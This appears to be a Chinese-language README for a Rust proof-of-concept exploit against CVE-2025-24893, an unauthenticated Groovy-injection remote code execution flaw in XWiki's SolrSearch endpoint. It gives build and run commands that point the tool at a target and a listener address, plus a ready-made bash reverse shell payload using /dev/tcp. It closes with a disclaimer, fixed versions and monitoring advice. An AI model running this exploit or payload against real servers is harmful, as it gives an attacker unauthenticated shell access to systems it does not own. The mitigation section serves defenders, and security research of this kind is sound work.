CVE-2025-24893 — XWiki 未授权远程代码执行（PoC）

针对 CVE-2025-24893 的概念验证漏洞利用程序，该漏洞是 XWiki 中的一个严重未授权 远程代码执行 漏洞。
此漏洞利用程序滥用了 SolrSearch 端点中的 Groovy 模板注入，无需认证即可执行任意命令（包括反弹 Shell）。

💥 漏洞详情

XWiki 处理发送给 SolrSearch RSS 端点的精心构造的输入时存在一个缺陷，允许攻击者将 Groovy 代码注入到渲染管道中。
这使得攻击者可以通过 {{groovy}} 脚本块实现 未授权远程代码执行。

✅ 受影响版本

• < 15.10.11
• >= 16.0.0 and < 16.4.1

❌ 修复版本

• 15.10.11
• 16.4.1

🔧 使用方法

下载发布版本：

发布版本

或从源码构建：

cargo build --release
./target/release/cve-2025-24893-gato --url http://target --ip 10.10.10.10 --port 4444

反弹 Shell 载荷

有一个预构建的反弹 Shell 载荷，格式如下：

bash -c 'sh -i >& /dev/tcp/{IP}/{PORT} 0>&1

⚠️ 法律免责声明

此代码仅用于教育和授权的安全研究。
请勿将此漏洞利用程序用于您未拥有或未经明确许可测试的系统。

✍️ 致谢

• 漏洞利用 PoC 由 Artemir7 提供
• Rust 端口由 investigato 提供

🛡️ 检测与缓解措施

• 升级到 XWiki 15.10.11 或 16.4.1+
• 监控对 /bin/get/Main/SolrSearch?media=rss 的可疑访问
• 如果可能，禁用匿名用户的 Groovy 执行